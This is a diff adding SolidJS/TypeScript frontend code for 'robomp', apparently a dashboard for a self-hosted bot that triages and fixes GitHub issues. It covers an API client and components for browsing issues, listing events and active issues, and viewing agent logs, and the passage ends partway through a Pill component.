onMount(() => {
|
||||
startPolling();
|
||||
});
|
||||
onCleanup(() => {
|
||||
stopPolling();
|
||||
});
|
||||
|
||||
const handleRetry = (deliveryId: string): void => {
|
||||
void runTrigger({ mode: "retry", delivery_id: deliveryId });
|
||||
};
|
||||
|
||||
return (
|
||||
<div class="mx-auto w-full max-w-[1400px]">
|
||||
<Header />
|
||||
|
||||
<main class="px-6 lg:px-10 pb-16 flex flex-col gap-5">
|
||||
<div class="grid gap-5" style={{ "grid-template-columns": "minmax(0, 1fr)" }}>
|
||||
<Trigger />
|
||||
<Browse />
|
||||
</div>
|
||||
|
||||
<Stats />
|
||||
|
||||
<div class="grid gap-5 grid-cols-1 xl:grid-cols-2">
|
||||
<Working />
|
||||
<Issues onRetry={handleRetry} />
|
||||
</div>
|
||||
|
||||
<Events onRetry={handleRetry} />
|
||||
|
||||
<Logs />
|
||||
|
||||
<footer class="text-center text-[11px] text-ink-500 pt-2 pb-1">
|
||||
robomp · self-hosted triage & fix · polling every 3s
|
||||
</footer>
|
||||
</main>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
import { AUTH_HEADERS } from "./config";
|
||||
import type {
|
||||
BrowseResponse,
|
||||
CancelResponse,
|
||||
LogsResponse,
|
||||
StatusResponse,
|
||||
TriggerResponse,
|
||||
} from "./types";
|
||||
|
||||
export class ApiError extends Error {
|
||||
readonly status: number;
|
||||
constructor(status: number, message: string) {
|
||||
super(message);
|
||||
this.status = status;
|
||||
this.name = "ApiError";
|
||||
}
|
||||
}
|
||||
|
||||
function extractDetail(body: unknown): string | null {
|
||||
if (body == null || typeof body !== "object") return null;
|
||||
const detail = (body as Record<string, unknown>).detail;
|
||||
if (typeof detail === "string") return detail;
|
||||
const message = (body as Record<string, unknown>).message;
|
||||
if (typeof message === "string") return message;
|
||||
return null;
|
||||
}
|
||||
|
||||
async function unwrap<T>(resp: Response): Promise<T> {
|
||||
let body: unknown = null;
|
||||
try {
|
||||
body = await resp.json();
|
||||
} catch {
|
||||
// Endpoint returned non-JSON. For 2xx that's still valid for callers that
|
||||
// expect an empty body; we only surface the parse failure on errors.
|
||||
}
|
||||
if (!resp.ok) {
|
||||
const detail = extractDetail(body) ?? resp.statusText ?? `HTTP ${resp.status}`;
|
||||
throw new ApiError(resp.status, detail);
|
||||
}
|
||||
return body as T;
|
||||
}
|
||||
|
||||
function authHeaders(): Record<string, string> {
|
||||
return { ...AUTH_HEADERS };
|
||||
}
|
||||
|
||||
function jsonHeaders(): Record<string, string> {
|
||||
return { "Content-Type": "application/json", ...AUTH_HEADERS };
|
||||
}
|
||||
|
||||
export const api = {
|
||||
status(signal?: AbortSignal): Promise<StatusResponse> {
|
||||
return fetch("/api/status", { signal }).then(unwrap<StatusResponse>);
|
||||
},
|
||||
logs(limit = 400, signal?: AbortSignal): Promise<LogsResponse> {
|
||||
return fetch(`/api/logs?limit=${limit}`, { signal }).then(unwrap<LogsResponse>);
|
||||
},
|
||||
browse(state: string, refresh = false, signal?: AbortSignal): Promise<BrowseResponse> {
|
||||
const qs = new URLSearchParams({ state, limit: "50" });
|
||||
if (refresh) qs.set("refresh", "1");
|
||||
return fetch(`/api/github/issues?${qs.toString()}`, {
|
||||
headers: authHeaders(),
|
||||
signal,
|
||||
}).then(unwrap<BrowseResponse>);
|
||||
},
|
||||
trigger(body: {
|
||||
mode: "triage" | "retry";
|
||||
issue?: string;
|
||||
delivery_id?: string;
|
||||
}): Promise<TriggerResponse> {
|
||||
return fetch("/api/trigger", {
|
||||
method: "POST",
|
||||
headers: jsonHeaders(),
|
||||
body: JSON.stringify(body),
|
||||
}).then(unwrap<TriggerResponse>);
|
||||
},
|
||||
cancel(deliveryId: string): Promise<CancelResponse> {
|
||||
return fetch("/api/cancel", {
|
||||
method: "POST",
|
||||
headers: jsonHeaders(),
|
||||
body: JSON.stringify({ delivery_id: deliveryId }),
|
||||
}).then(unwrap<CancelResponse>);
|
||||
},
|
||||
};
|
||||
@@ -0,0 +1,220 @@
|
||||
import {
|
||||
createMemo,
|
||||
createResource,
|
||||
createSignal,
|
||||
For,
|
||||
type JSX,
|
||||
type ResourceReturn,
|
||||
Show,
|
||||
} from "solid-js";
|
||||
|
||||
import { ApiError, api } from "../api";
|
||||
import { CONFIG } from "../config";
|
||||
import { fmtAge } from "../format";
|
||||
import { runTrigger } from "../state";
|
||||
import type { BrowseResponse } from "../types";
|
||||
import { GlassCard } from "./GlassCard";
|
||||
import { Pill } from "./Pill";
|
||||
|
||||
interface BrowseQuery {
|
||||
state: string;
|
||||
refreshCount: number;
|
||||
}
|
||||
|
||||
const EMPTY_RESPONSE: BrowseResponse = {
|
||||
issues: [],
|
||||
errors: [],
|
||||
repos: [],
|
||||
cache: { hit: false, fetched_at: 0 },
|
||||
};
|
||||
|
||||
export function Browse(): JSX.Element {
|
||||
const [state, setState] = createSignal<string>("open");
|
||||
const [refreshCount, setRefreshCount] = createSignal<number>(0);
|
||||
const [filter, setFilter] = createSignal<string>("");
|
||||
const [hideProcessed, setHideProcessed] = createSignal<boolean>(true);
|
||||
|
||||
const fetchBrowse = async (query: BrowseQuery): Promise<BrowseResponse> => {
|
||||
return api.browse(query.state, query.refreshCount > 0);
|
||||
};
|
||||
|
||||
const tuple: ResourceReturn<BrowseResponse> = createResource<BrowseResponse, BrowseQuery>(
|
||||
() => ({ state: state(), refreshCount: refreshCount() }),
|
||||
fetchBrowse,
|
||||
);
|
||||
const [browseResource] = tuple;
|
||||
|
||||
const data = createMemo<BrowseResponse>(() => browseResource.latest ?? EMPTY_RESPONSE);
|
||||
|
||||
const filtered = createMemo(() => {
|
||||
const all = data().issues;
|
||||
const needle = filter().trim().toLowerCase();
|
||||
const hidden = hideProcessed();
|
||||
const list = hidden ? all.filter((i) => !i.processed) : all;
|
||||
if (!needle) return list;
|
||||
return list.filter((i) => `${i.repo} ${i.title} #${i.number}`.toLowerCase().includes(needle));
|
||||
});
|
||||
|
||||
const processedCount = createMemo(() => data().issues.filter((i) => i.processed).length);
|
||||
|
||||
const errorMessage = (): string | null => {
|
||||
const err = browseResource.error;
|
||||
if (!err) return null;
|
||||
if (err instanceof ApiError) return `error ${err.status}: ${err.message}`;
|
||||
if (err instanceof Error) return err.message;
|
||||
return String(err);
|
||||
};
|
||||
|
||||
const meta = (): string => {
|
||||
const d = data();
|
||||
const totalRepos = d.repos.length ? d.repos.join(", ") : "(allowlist empty)";
|
||||
const ageSeconds =
|
||||
d.cache.fetched_at > 0 ? Math.max(0, (Date.now() - d.cache.fetched_at * 1000) / 1000) : 0;
|
||||
const cacheInfo =
|
||||
d.cache.fetched_at > 0
|
||||
? ` · ${d.cache.hit ? "cached" : "loaded"} ${ageSeconds.toFixed(0)}s ago`
|
||||
: "";
|
||||
const hidden =
|
||||
hideProcessed() && processedCount() > 0 ? ` · ${processedCount()} processed hidden` : "";
|
||||
return `${filtered().length}/${d.issues.length} from ${totalRepos}${cacheInfo}${hidden}`;
|
||||
};
|
||||
|
||||
const triggerFor = (mode: "triage" | "retry", repo: string, number: number): void => {
|
||||
void runTrigger({ mode, issue: `${repo}#${number}` });
|
||||
};
|
||||
|
||||
return (
|
||||
<GlassCard heading="browse" accessory={<span class="text-[11px] text-ink-400">{meta()}</span>}>
|
||||
<Show
|
||||
when={CONFIG.replayEnabled}
|
||||
fallback={
|
||||
<div class="px-5 py-7 text-ink-300 text-[13px] leading-relaxed">
|
||||
issue browser disabled — same gate as the trigger surface.
|
||||
</div>
|
||||
}
|
||||
>
|
||||
<div class="px-4 pb-3 pt-1 flex flex-wrap items-center gap-3 border-b border-stroke-soft">
|
||||
<select value={state()} onChange={(ev) => setState(ev.currentTarget.value)}>
|
||||
<option value="open">open</option>
|
||||
<option value="closed">closed</option>
|
||||
<option value="all">all</option>
|
||||
</select>
|
||||
<input
|
||||
type="search"
|
||||
class="flex-1 min-w-[180px]"
|
||||
placeholder="filter title or repo"
|
||||
value={filter()}
|
||||
onInput={(ev) => setFilter(ev.currentTarget.value)}
|
||||
/>
|
||||
<label class="flex items-center gap-2 text-[12px] text-ink-300 select-none cursor-pointer">
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={hideProcessed()}
|
||||
onChange={(ev) => setHideProcessed(ev.currentTarget.checked)}
|
||||
/>
|
||||
hide processed
|
||||
</label>
|
||||
<button
|
||||
class="ghost"
|
||||
disabled={browseResource.loading}
|
||||
onClick={() => setRefreshCount((n) => n + 1)}
|
||||
>
|
||||
{browseResource.loading ? "loading…" : "refresh"}
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<Show when={errorMessage()}>
|
||||
<div class="px-5 py-2.5 text-[12px] text-err border-b border-stroke-soft bg-[rgba(255,69,58,0.05)]">
|
||||
{errorMessage()}
|
||||
</div>
|
||||
</Show>
|
||||
|
||||
<Show when={data().errors.length}>
|
||||
<For each={data().errors}>
|
||||
{(err) => (
|
||||
<div class="px-5 py-2 text-[12px] text-err border-b border-stroke-soft bg-[rgba(255,69,58,0.04)]">
|
||||
<code>{err.repo}</code> <span class="text-ink-300">{err.error}</span>
|
||||
</div>
|
||||
)}
|
||||
</For>
|
||||
</Show>
|
||||
|
||||
<div class="max-h-[44vh] overflow-y-auto scrollable">
|
||||
<Show
|
||||
when={filtered().length}
|
||||
fallback={
|
||||
<div class="empty">
|
||||
{hideProcessed() &&
|
||||
processedCount() > 0 &&
|
||||
processedCount() === data().issues.length
|
||||
? `all ${processedCount()} issues already processed — uncheck "hide processed" to see them`
|
||||
: "no issues"}
|
||||
</div>
|
||||
}
|
||||
>
|
||||
<For each={filtered()}>
|
||||
{(issue) => (
|
||||
<div
|
||||
class="grid items-start gap-4 px-5 py-3.5 border-b border-stroke-soft hover:bg-white/[0.025] transition-colors"
|
||||
style={{
|
||||
"grid-template-columns": "1fr auto",
|
||||
opacity: issue.processed ? 0.55 : 1,
|
||||
}}
|
||||
>
|
||||
<div class="min-w-0">
|
||||
<div class="text-[13px] flex items-center gap-2 flex-wrap">
|
||||
<a
|
||||
class="font-medium text-ink-100 hover:text-accent-2 truncate"
|
||||
href={issue.html_url}
|
||||
target="_blank"
|
||||
rel="noopener"
|
||||
>
|
||||
<span class="font-mono text-[12px] text-ink-300 mr-2">
|
||||
{issue.repo}#{issue.number}
|
||||
</span>
|
||||
{issue.title}
|
||||
</a>
|
||||
</div>
|
||||
<div class="mt-1.5 flex flex-wrap items-center gap-x-3 gap-y-1 text-[11px] text-ink-400">
|
||||
<Pill state={issue.state}>{issue.state}</Pill>
|
||||
<Show when={issue.processed}>
|
||||
<span
|
||||
class="pill"
|
||||
style={{
|
||||
color: "#9ec9ff",
|
||||
"border-color": "rgba(100,175,255,0.32)",
|
||||
"background-color": "rgba(10,132,255,0.10)",
|
||||
}}
|
||||
>
|
||||
processed
|
||||
</span>
|
||||
</Show>
|
||||
<span>by {issue.author || "—"}</span>
|
||||
<span>updated {fmtAge(issue.updated_at)}</span>
|
||||
<span>{issue.comments} comments</span>
|
||||
<For each={issue.labels.slice(0, 6)}>{(label) => <code>{label}</code>}</For>
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex gap-2 flex-shrink-0">
|
||||
<button
|
||||
class="primary tiny"
|
||||
onClick={() => triggerFor("triage", issue.repo, issue.number)}
|
||||
>
|
||||
triage
|
||||
</button>
|
||||
<button
|
||||
class="tiny"
|
||||
onClick={() => triggerFor("retry", issue.repo, issue.number)}
|
||||
>
|
||||
retry
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</For>
|
||||
</Show>
|
||||
</div>
|
||||
</Show>
|
||||
</GlassCard>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
import { For, type JSX, Show } from "solid-js";
|
||||
|
||||
import { CONFIG } from "../config";
|
||||
import { fmtAge, splitIssueKey } from "../format";
|
||||
import { statusResource } from "../state";
|
||||
import type { RecentEvent } from "../types";
|
||||
import { GlassCard } from "./GlassCard";
|
||||
import { IssueLink } from "./IssueLink";
|
||||
import { Pill } from "./Pill";
|
||||
|
||||
export interface EventsProps {
|
||||
onRetry: (deliveryId: string) => void;
|
||||
}
|
||||
|
||||
export function Events(props: EventsProps): JSX.Element {
|
||||
const events = (): RecentEvent[] => statusResource()?.recent_events ?? [];
|
||||
|
||||
return (
|
||||
<GlassCard heading="recent events" accessory={<span class="tabular">{events().length}</span>}>
|
||||
<Show when={events().length} fallback={<div class="empty">no events recorded yet</div>}>
|
||||
<div class="overflow-x-auto scrollable">
|
||||
<table class="t">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>received</th>
|
||||
<th>event</th>
|
||||
<th>where</th>
|
||||
<th>state</th>
|
||||
<th>tries</th>
|
||||
<th>error</th>
|
||||
<th />
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<For each={events()}>
|
||||
{(event) => <EventRow event={event} onRetry={props.onRetry} />}
|
||||
</For>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</Show>
|
||||
</GlassCard>
|
||||
);
|
||||
}
|
||||
|
||||
interface RowProps {
|
||||
event: RecentEvent;
|
||||
onRetry: (deliveryId: string) => void;
|
||||
}
|
||||
|
||||
function EventRow(props: RowProps): JSX.Element {
|
||||
const ref = (): { repo: string; number: string } => splitIssueKey(props.event.issue_key);
|
||||
const canRetry = (): boolean => props.event.state === "failed" || props.event.state === "done";
|
||||
|
||||
return (
|
||||
<tr>
|
||||
<td class="text-ink-300 tabular whitespace-nowrap">{fmtAge(props.event.received_at)}</td>
|
||||
<td class="text-ink-200">{props.event.event_type}</td>
|
||||
<td>
|
||||
<Show
|
||||
when={ref().number}
|
||||
fallback={<span class="text-ink-300">{props.event.repo ?? "—"}</span>}
|
||||
>
|
||||
<IssueLink repo={ref().repo} number={ref().number} />
|
||||
</Show>
|
||||
</td>
|
||||
<td>
|
||||
<Pill state={props.event.state}>{props.event.state}</Pill>
|
||||
</td>
|
||||
<td class="text-ink-300 tabular">{props.event.attempts}</td>
|
||||
<td class="err-cell">{props.event.last_error ?? ""}</td>
|
||||
<td>
|
||||
<Show
|
||||
when={CONFIG.replayEnabled && canRetry()}
|
||||
fallback={<span class="text-ink-400">—</span>}
|
||||
>
|
||||
<button class="tiny" onClick={() => props.onRetry(props.event.delivery_id)}>
|
||||
retry
|
||||
</button>
|
||||
</Show>
|
||||
</td>
|
||||
</tr>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
import type { JSX } from "solid-js";
|
||||
|
||||
export interface GlassCardProps {
|
||||
heading?: string;
|
||||
accessory?: JSX.Element;
|
||||
class?: string;
|
||||
contentClass?: string;
|
||||
bare?: boolean;
|
||||
children: JSX.Element;
|
||||
style?: JSX.CSSProperties;
|
||||
}
|
||||
|
||||
// Single glass surface used for every section card. The `bare` variant skips
|
||||
// the inset content padding so tables/log lists can reach the edge.
|
||||
export function GlassCard(props: GlassCardProps): JSX.Element {
|
||||
const cls = (): string => {
|
||||
const base = "glass glass-rise rounded-[22px] overflow-hidden";
|
||||
return props.class ? `${base} ${props.class}` : base;
|
||||
};
|
||||
return (
|
||||
<section class={cls()} style={props.style}>
|
||||
{props.heading != null && (
|
||||
<div class="section-heading">
|
||||
<h2>{props.heading}</h2>
|
||||
{props.accessory && <div class="accessory">{props.accessory}</div>}
|
||||
</div>
|
||||
)}
|
||||
<div class={props.contentClass}>{props.children}</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
import { type JSX, Show } from "solid-js";
|
||||
|
||||
import { CONFIG } from "../config";
|
||||
import { fmtDuration } from "../format";
|
||||
import { isFetching, lastTickAt, lastTickError, statusResource } from "../state";
|
||||
import type { RuntimeInfo } from "../types";
|
||||
|
||||
function relativeAgo(ms: number): string {
|
||||
const seconds = Math.max(0, (Date.now() - ms) / 1000);
|
||||
if (seconds < 5) return "just now";
|
||||
return `${fmtDuration(seconds)} ago`;
|
||||
}
|
||||
|
||||
export function Header(): JSX.Element {
|
||||
const runtime = (): RuntimeInfo | undefined => statusResource()?.runtime;
|
||||
|
||||
return (
|
||||
<header class="px-6 lg:px-10 pt-8 pb-6 flex flex-col gap-5">
|
||||
<div class="flex flex-wrap items-end gap-x-6 gap-y-3 justify-between">
|
||||
<div class="flex items-baseline gap-3">
|
||||
<h1 class="text-[26px] font-semibold tracking-tight leading-none">
|
||||
<span class="text-ink-50">robomp</span>
|
||||
<span class="inline-block ml-2 size-[7px] rounded-full align-middle bg-accent shadow-[0_0_10px_rgba(10,132,255,0.7)]" />
|
||||
</h1>
|
||||
<span class="eyebrow">triage · fix · ship</span>
|
||||
</div>
|
||||
|
||||
<div class="flex items-center gap-2 text-[11px] text-ink-300">
|
||||
<Show
|
||||
when={lastTickError()}
|
||||
fallback={
|
||||
<span class="flex items-center gap-2">
|
||||
<span
|
||||
class={`inline-block size-[7px] rounded-full ${
|
||||
isFetching() ? "bg-warn" : "bg-ok"
|
||||
}`}
|
||||
style={{
|
||||
"box-shadow": isFetching()
|
||||
? "0 0 8px rgba(255,214,10,0.6)"
|
||||
: "0 0 8px rgba(48,209,88,0.6)",
|
||||
}}
|
||||
/>
|
||||
{isFetching() ? "syncing…" : `synced ${relativeAgo(lastTickAt())}`}
|
||||
</span>
|
||||
}
|
||||
>
|
||||
<span class="flex items-center gap-2 text-err">
|
||||
<span class="inline-block size-[7px] rounded-full bg-err" />
|
||||
{lastTickError()}
|
||||
</span>
|
||||
</Show>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="flex flex-wrap items-center gap-x-7 gap-y-2 text-[12px] text-ink-300 tabular">
|
||||
<Meta label="bot" value={runtime()?.bot_login} mono />
|
||||
<Meta
|
||||
label="model"
|
||||
value={runtime()?.model}
|
||||
mono
|
||||
title={runtime()?.thinking_level ? `thinking ${runtime()?.thinking_level}` : undefined}
|
||||
/>
|
||||
<Meta
|
||||
label="concurrency"
|
||||
value={
|
||||
runtime()?.max_concurrency != null ? String(runtime()?.max_concurrency) : undefined
|
||||
}
|
||||
/>
|
||||
<Meta
|
||||
label="uptime"
|
||||
value={
|
||||
runtime()?.uptime_seconds != null ? fmtDuration(runtime()?.uptime_seconds) : undefined
|
||||
}
|
||||
/>
|
||||
<Meta
|
||||
label="allowlist"
|
||||
value={
|
||||
runtime()?.repo_allowlist?.length ? runtime()!.repo_allowlist.join(", ") : "(none)"
|
||||
}
|
||||
mono
|
||||
/>
|
||||
<Show when={!CONFIG.replayEnabled}>
|
||||
<span class="pill skipped">read-only · trigger disabled</span>
|
||||
</Show>
|
||||
</div>
|
||||
</header>
|
||||
);
|
||||
}
|
||||
|
||||
interface MetaProps {
|
||||
label: string;
|
||||
value?: string;
|
||||
mono?: boolean;
|
||||
title?: string;
|
||||
}
|
||||
|
||||
function Meta(props: MetaProps): JSX.Element {
|
||||
return (
|
||||
<span class="inline-flex items-baseline gap-1.5" title={props.title}>
|
||||
<span class="text-ink-500 uppercase tracking-[0.14em] text-[10px]">{props.label}</span>
|
||||
<span class={props.mono ? "font-mono text-[12px] text-ink-100" : "text-ink-100"}>
|
||||
{props.value ?? "…"}
|
||||
</span>
|
||||
</span>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
import type { JSX } from "solid-js";
|
||||
|
||||
import { issueUrl, prUrl } from "../format";
|
||||
|
||||
export interface IssueLinkProps {
|
||||
repo: string;
|
||||
number: number | string;
|
||||
}
|
||||
|
||||
export function IssueLink(props: IssueLinkProps): JSX.Element {
|
||||
return (
|
||||
<a
|
||||
class="font-mono text-[12px] text-ink-100 hover:text-accent-2"
|
||||
href={issueUrl(props.repo, props.number)}
|
||||
target="_blank"
|
||||
rel="noopener"
|
||||
>
|
||||
{props.repo}
|
||||
<span class="text-ink-400">#</span>
|
||||
{props.number}
|
||||
</a>
|
||||
);
|
||||
}
|
||||
|
||||
export interface PrLinkProps {
|
||||
repo: string;
|
||||
number: number | string | null | undefined;
|
||||
}
|
||||
|
||||
export function PrLink(props: PrLinkProps): JSX.Element {
|
||||
if (props.number == null || props.number === "") {
|
||||
return <span class="text-ink-400">—</span>;
|
||||
}
|
||||
return (
|
||||
<a
|
||||
class="font-mono text-[12px] text-accent-2 hover:underline"
|
||||
href={prUrl(props.repo, props.number)}
|
||||
target="_blank"
|
||||
rel="noopener"
|
||||
>
|
||||
#{props.number}
|
||||
</a>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,117 @@
|
||||
import { For, type JSX, Show } from "solid-js";
|
||||
|
||||
import { CONFIG } from "../config";
|
||||
import { fmtAge, shortText } from "../format";
|
||||
import { statusResource } from "../state";
|
||||
import { type IssueRow, type LatestEvent, TERMINAL_ISSUE_STATES } from "../types";
|
||||
import { GlassCard } from "./GlassCard";
|
||||
import { IssueLink, PrLink } from "./IssueLink";
|
||||
import { Pill } from "./Pill";
|
||||
|
||||
export interface IssuesProps {
|
||||
onRetry: (deliveryId: string) => void;
|
||||
}
|
||||
|
||||
export function Issues(props: IssuesProps): JSX.Element {
|
||||
const active = (): IssueRow[] => {
|
||||
const s = statusResource();
|
||||
if (!s) return [];
|
||||
return s.issues.filter((i) => !TERMINAL_ISSUE_STATES.has(i.state));
|
||||
};
|
||||
|
||||
return (
|
||||
<GlassCard heading="active issues" accessory={<span class="tabular">{active().length}</span>}>
|
||||
<Show when={active().length} fallback={<div class="empty">no active issues</div>}>
|
||||
<div class="overflow-x-auto scrollable">
|
||||
<table class="t">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>issue</th>
|
||||
<th>state</th>
|
||||
<th>last event</th>
|
||||
<th>class</th>
|
||||
<th>branch</th>
|
||||
<th>pr</th>
|
||||
<th>error</th>
|
||||
<th />
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<For each={active()}>
|
||||
{(issue) => <IssueRowView issue={issue} onRetry={props.onRetry} />}
|
||||
</For>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</Show>
|
||||
</GlassCard>
|
||||
);
|
||||
}
|
||||
|
||||
interface RowProps {
|
||||
issue: IssueRow;
|
||||
onRetry: (deliveryId: string) => void;
|
||||
}
|
||||
|
||||
function IssueRowView(props: RowProps): JSX.Element {
|
||||
const ev = (): LatestEvent | null => props.issue.latest_event;
|
||||
|
||||
return (
|
||||
<tr>
|
||||
<td>
|
||||
<IssueLink repo={props.issue.repo} number={props.issue.number} />
|
||||
</td>
|
||||
<td>
|
||||
<Pill>{props.issue.state}</Pill>
|
||||
</td>
|
||||
<td>
|
||||
<Show when={ev()} fallback={<span class="text-ink-400">—</span>}>
|
||||
{(latest) => (
|
||||
<>
|
||||
<Pill state={latest().state}>{latest().state}</Pill>
|
||||
<span class="meta-line">
|
||||
{latest().event_type} · attempt #{latest().attempts} ·{" "}
|
||||
{fmtAge(latest().received_at)}
|
||||
</span>
|
||||
</>
|
||||
)}
|
||||
</Show>
|
||||
</td>
|
||||
<td class="text-ink-300">{props.issue.classification ?? ""}</td>
|
||||
<td>
|
||||
{props.issue.branch ? (
|
||||
<code>{props.issue.branch}</code>
|
||||
) : (
|
||||
<span class="text-ink-400">—</span>
|
||||
)}
|
||||
</td>
|
||||
<td>
|
||||
<PrLink repo={props.issue.repo} number={props.issue.pr_number} />
|
||||
</td>
|
||||
<td class="err-cell">
|
||||
<Show
|
||||
when={ev()?.state === "failed" && ev()?.last_error}
|
||||
fallback={<span class="text-ink-400">—</span>}
|
||||
>
|
||||
<span title={ev()?.last_error ?? ""}>{shortText(ev()?.last_error)}</span>
|
||||
</Show>
|
||||
</td>
|
||||
<td>
|
||||
<Show
|
||||
when={CONFIG.replayEnabled && ev()?.state === "failed"}
|
||||
fallback={<span class="text-ink-400">—</span>}
|
||||
>
|
||||
<button
|
||||
class="tiny"
|
||||
onClick={() => {
|
||||
const latest = ev();
|
||||
if (latest) props.onRetry(latest.delivery_id);
|
||||
}}
|
||||
>
|
||||
retry
|
||||
</button>
|
||||
</Show>
|
||||
</td>
|
||||
</tr>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
import { createEffect, createSignal, For, type JSX, Show } from "solid-js";
|
||||
|
||||
import { fmtTimestamp } from "../format";
|
||||
import { logsResource } from "../state";
|
||||
import { LEVEL_ORDER, type LogEntry } from "../types";
|
||||
import { GlassCard } from "./GlassCard";
|
||||
|
||||
const RESERVED_LOG_FIELDS = new Set(["ts", "level", "logger", "msg", "exc"]);
|
||||
|
||||
interface Extra {
|
||||
key: string;
|
||||
value: string;
|
||||
}
|
||||
|
||||
interface FormattedRow {
|
||||
index: number;
|
||||
ts: string;
|
||||
level: string;
|
||||
logger: string;
|
||||
message: string;
|
||||
extras: Extra[];
|
||||
exc: string | null;
|
||||
}
|
||||
|
||||
function formatExtraValue(value: unknown): string {
|
||||
if (value == null) return "";
|
||||
if (typeof value === "string") return value;
|
||||
if (typeof value === "number" || typeof value === "boolean") {
|
||||
return String(value);
|
||||
}
|
||||
try {
|
||||
return JSON.stringify(value);
|
||||
} catch {
|
||||
return String(value);
|
||||
}
|
||||
}
|
||||
|
||||
function buildExtras(entry: LogEntry): Extra[] {
|
||||
const out: Extra[] = [];
|
||||
for (const [key, value] of Object.entries(entry)) {
|
||||
if (RESERVED_LOG_FIELDS.has(key)) continue;
|
||||
out.push({ key, value: formatExtraValue(value) });
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
export function Logs(): JSX.Element {
|
||||
const [level, setLevel] = createSignal<string>("INFO");
|
||||
const [filter, setFilter] = createSignal<string>("");
|
||||
const [follow, setFollow] = createSignal<boolean>(true);
|
||||
|
||||
let scrollEl: HTMLDivElement | undefined;
|
||||
|
||||
const allEntries = (): LogEntry[] => logsResource()?.entries ?? [];
|
||||
|
||||
const rows = (): FormattedRow[] => {
|
||||
const wantLevel = level();
|
||||
const minOrd = wantLevel ? (LEVEL_ORDER[wantLevel] ?? 0) : 0;
|
||||
const needle = filter().trim().toLowerCase();
|
||||
const out: FormattedRow[] = [];
|
||||
let index = 0;
|
||||
for (const entry of allEntries()) {
|
||||
const lvl = entry.level ?? "INFO";
|
||||
if ((LEVEL_ORDER[lvl] ?? 20) < minOrd) continue;
|
||||
const msg = entry.msg ?? "";
|
||||
const extras = buildExtras(entry);
|
||||
if (needle) {
|
||||
const haystack = (
|
||||
msg +
|
||||
" " +
|
||||
extras.map((e) => `${e.key}=${e.value}`).join(" ")
|
||||
).toLowerCase();
|
||||
if (!haystack.includes(needle)) continue;
|
||||
}
|
||||
out.push({
|
||||
index: index++,
|
||||
ts: fmtTimestamp(entry.ts),
|
||||
level: lvl,
|
||||
logger: entry.logger ?? "",
|
||||
message: msg,
|
||||
extras,
|
||||
exc: entry.exc ?? null,
|
||||
});
|
||||
}
|
||||
return out;
|
||||
};
|
||||
|
||||
createEffect(() => {
|
||||
// Touch dependencies so effect re-runs on new data / toggles.
|
||||
rows();
|
||||
if (follow() && scrollEl) {
|
||||
scrollEl.scrollTop = scrollEl.scrollHeight;
|
||||
}
|
||||
});
|
||||
|
||||
return (
|
||||
<GlassCard
|
||||
heading="agent logs"
|
||||
accessory={
|
||||
<span class="tabular">
|
||||
{rows().length} / {allEntries().length}
|
||||
</span>
|
||||
}
|
||||
>
|
||||
<div class="px-4 pb-3 pt-1 flex flex-wrap items-center gap-3 border-b border-stroke-soft">
|
||||
<label class="flex items-center gap-2 text-[11px] uppercase tracking-[0.14em] text-ink-400">
|
||||
level
|
||||
<select value={level()} onChange={(ev) => setLevel(ev.currentTarget.value)}>
|
||||
<option value="">all</option>
|
||||
<option value="DEBUG">debug+</option>
|
||||
<option value="INFO">info+</option>
|
||||
<option value="WARNING">warn+</option>
|
||||
<option value="ERROR">error</option>
|
||||
</select>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 text-[11px] uppercase tracking-[0.14em] text-ink-400 flex-1 min-w-[200px]">
|
||||
filter
|
||||
<input
|
||||
type="search"
|
||||
value={filter()}
|
||||
placeholder="substring"
|
||||
onInput={(ev) => setFilter(ev.currentTarget.value)}
|
||||
class="flex-1"
|
||||
/>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 text-[12px] text-ink-300 select-none cursor-pointer">
|
||||
<input
|
||||
type="checkbox"
|
||||
checked={follow()}
|
||||
onChange={(ev) => setFollow(ev.currentTarget.checked)}
|
||||
/>
|
||||
follow tail
|
||||
</label>
|
||||
</div>
|
||||
<div class="logs scrollable" ref={(el) => (scrollEl = el)}>
|
||||
<Show when={rows().length} fallback={<div class="empty">no log entries match</div>}>
|
||||
<For each={rows()}>
|
||||
{(row) => (
|
||||
<div class="log-row">
|
||||
<span class="ts">{row.ts}</span>
|
||||
<span class={`lvl ${row.level}`}>{row.level}</span>
|
||||
<span class="logger">{row.logger}</span>
|
||||
<span>
|
||||
<span class="msg">{row.message}</span>
|
||||
<Show when={row.extras.length}>
|
||||
<span class="extras">
|
||||
<For each={row.extras}>
|
||||
{(extra) => (
|
||||
<span>
|
||||
{" "}
|
||||
<b>{extra.key}</b>={extra.value}
|
||||
</span>
|
||||
)}
|
||||
</For>
|
||||
</span>
|
||||
</Show>
|
||||
<Show when={row.exc}>
|
||||
<span class="exc">{row.exc}</span>
|
||||
</Show>
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
</For>
|
||||
</Show>
|
||||
</div>
|
||||
</GlassCard>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
import type { JSX } from "solid-js";
|
||||
|
||||
export interface PillProps {
|
||||
state?: string;
|
||||
dot?: boolean;
|
||||
title?: string;
|
||||
class?: string;
|
||||
children?: JSX.Element;
|
||||
}
|
||||
|
||||
export function Pill(props: PillProps): JSX.Element {
|
